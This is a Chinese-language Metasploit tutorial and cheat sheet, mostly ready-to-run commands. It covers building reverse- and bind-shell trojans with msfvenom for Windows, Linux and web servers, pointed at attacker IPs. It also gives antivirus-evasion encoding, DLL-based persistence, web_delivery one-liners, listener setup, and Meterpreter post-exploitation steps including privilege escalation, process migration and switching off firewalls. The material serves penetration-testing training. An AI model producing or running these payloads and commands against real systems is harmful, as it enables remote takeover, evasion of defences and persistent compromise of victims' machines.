MSF Payload生成与监听配置
一、msfvenom 概述
msfvenom 是 MSF 的 Payload 生成工具,合并了原 msfpayload 和 msfencode 功能。它可以生成多种格式(exe、elf、dll、asp、war 等)的攻击载荷,并支持编码器进行免杀处理。
核心参数
| 参数 | 说明 | 示例 |
|---|
-p | 选择 Payload | windows/meterpreter/reverse_tcp |
-a | 指定架构 | x86、x64、arm64 |
--platform | 指定平台 | windows、linux、php |
-f | 输出格式 | exe、elf、dll、raw |
-o | 输出文件名 | payload.exe |
-e | 编码器 | x86/shikata_ga_nai |
-i | 编码次数 | 5 |
LHOST | 攻击机监听 IP | 192.168.1.50 |
LPORT | 攻击机监听端口 | 4444 |
查看所有可用 Payload
1
2
3
4
| msfvenom --list payloads # 列出所有 payload
msfvenom --list payloads | grep windows # 过滤 Windows 相关
msfvenom --list formats # 列出所有输出格式
msfvenom --list encoders # 列出所有编码器
|
二、Windows 木马生成
32 位 Windows 反弹 Shell
1
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.113.98 LPORT=4444 -a x86 --platform windows -f exe -o win32_shell.exe
|
知识点:reverse_tcp(反向连接)由目标主动连接攻击机,可绕过防火墙出方向限制;meterpreter 载荷提供丰富的后渗透命令,优于普通 cmd shell。
64 位 Windows 反弹 Shell
1
| msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=4444 -a x64 --platform windows -f exe -o win64_shell.exe
|
知识点:64 位系统需使用 x64 架构的 Payload,否则会话可能不稳定或无法执行。
ARM64 Windows
1
| msfvenom -p windows/arm64/meterpreter/reverse_tcp LHOST=10.10.10.2 LPORT=4444 -a arm64 --platform windows -f exe -o win_arm64.exe
|
知识点:部分轻薄本和 Surface 使用 ARM 架构 Windows,需专用 Payload。
DLL 格式(免杀 / 持久化)
1
| msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o payload.dll
|
知识点:DLL 格式可通过 regsvr32 /s payload.dll 执行,或劫持合法程序的 DLL 加载路径实现持久化。
编码免杀(绕过杀软)
1
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded_shell.exe
|
知识点:shikata_ga_nai 是 MSF 最常用的多态编码器,每次生成不同的二进制特征。但现代 EDR/AV 已能识别单纯编码,需配合加壳器(如 Hyperion、Shellter)或自定义模板注入。
三、Linux 木马生成
64 位 Linux ELF
1
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o linux64_shell.elf
|
32 位 Linux ELF
1
| msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o linux32_shell.elf
|
静态编译(解决依赖问题)
1
| msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o static_shell.elf
|
知识点:当目标系统缺少所需动态库(如 libc 版本不兼容)时,可使用 -b 参数排除坏字符,或编译静态版本。静态编译文件较大(约1M),但兼容性更好。
Bash 一行命令(无需上传文件)
1
| msfvenom -p cmd/unix/reverse_bash LHOST=192.168.1.50 LPORT=4444 -f raw -o reverse_bash.sh
|
知识点:cmd/unix/reverse_bash 使用 bash 内置 /dev/tcp 功能建立反向连接,无需额外工具,适用于受限环境。
Python 脚本格式
1
| msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4445 -f raw -o shell.py
|
知识点:Python Payload 跨平台性好(Windows/Linux 均可),但依赖目标安装对应版本的 Python 运行时。
四、WebShell Payload
PHP Meterpreter
1
| msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php
|
JSP
1
| msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.jsp
|
ASP/ASPX
1
2
| msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f aspx -o shell.aspx
|
Web Delivery(无需上传文件)
1
2
3
4
5
6
7
| msf6 > use exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > show targets
msf6 exploit(multi/script/web_delivery) > set target 1 # PHP 环境
msf6 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set LHOST 192.168.1.50
msf6 exploit(multi/script/web_delivery) > set LPORT 4444
msf6 exploit(multi/script/web_delivery) > run
|
知识点:Web Delivery 生成一条 PowerShell/Python/PHP 一行命令,目标执行后直接建立 Meterpreter 会话,无需上传文件,适合 Web 漏洞利用场景。
五、正向连接 Payload
适用场景:目标在防火墙后,只允许入站连接,不允许出站。此时使用正向连接,由攻击机主动连目标。
Windows 正向
1
2
3
| msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_32.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_64.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f dll -o bind_64.dll
|
Linux 正向
1
2
| msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_linux32.elf
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_linux64.elf
|
六、监听配置(multi/handler)
基础监听
1
2
3
4
5
| msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.139.128
msf6 exploit(multi/handler) > set LPORT 3333
msf6 exploit(multi/handler) > run
|
知识点:LHOST 和 LPORT 必须与生成 Payload 时完全一致。如果攻击机有多个网卡,LHOST 需指定监听网卡的 IP。
监听 Linux Payload
1
2
3
4
| msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
|
监听 Bash/Python 等脚本 Payload
1
| msf6 exploit(multi/handler) > set PAYLOAD cmd/unix/reverse_bash
|
正向连接配置
1
2
3
4
| msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 192.168.52.141
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
|
知识点:正向连接使用 RHOST(目标 IP)而非 LHOST,攻击机主动发起连接。
持久化监听(-j 后台运行)
1
2
3
4
| msf6 exploit(multi/handler) > run -j
# 后台运行,不阻塞控制台
msf6 > jobs # 查看所有后台任务
msf6 > sessions -i 1 # 切换到会话1
|
七、Meterpreter 基础命令速查
系统操作
1
2
3
4
5
| sysinfo # 系统信息(OS、架构、主机名)
getuid # 当前会话用户身份
getsystem # 自动尝试提升到 SYSTEM
ps # 进程列表
shell # 进入交互式 Shell
|
文件操作
1
2
3
| upload /local/path C:\remote\path # 上传文件
download C:\remote\file /local/path # 下载文件
edit C:\file.txt # 远程编辑文件
|
进程迁移
1
2
3
| ps # 查看进程列表
migrate <PID> # 迁移会话到指定进程
# 推荐迁移到 explorer.exe、svchost.exe 等稳定进程
|
防火墙控制
1
2
3
4
5
| shell
# Windows
NetSh Advfirewall set allprofiles state off
# Linux
ufw disable
|
会话升级
1
| sessions -u 2 # 将 session 2 升级为 Meterpreter 会话
|
八、速查对照表
| 场景 | Payload | 格式 | 命令模板 |
|---|
| Win32 反弹 | windows/meterpreter/reverse_tcp | exe | msfvenom -p <payload> LHOST=x LPORT=x -f exe -o x.exe |
| Win64 反弹 | windows/x64/meterpreter/reverse_tcp | exe | 同上,加 -a x64 |
| Linux 反弹 | linux/x64/meterpreter/reverse_tcp | elf | msfvenom -p <payload> LHOST=x LPORT=x -f elf -o x.elf |
| PHP WebShell | php/meterpreter/reverse_tcp | raw | msfvenom -p <payload> LHOST=x LPORT=x -f raw -o x.php |
| Bash 一行 | cmd/unix/reverse_bash | raw | msfvenom -p <payload> LHOST=x LPORT=x -f raw -o x.sh |
| Win 正向 | windows/meterpreter/bind_tcp | exe | msfvenom -p <payload> LPORT=x -f exe -o x.exe |
下一篇文章将介绍如何利用 Meterpreter 进行权限提升、权限维持以及 Docker 容器逃逸。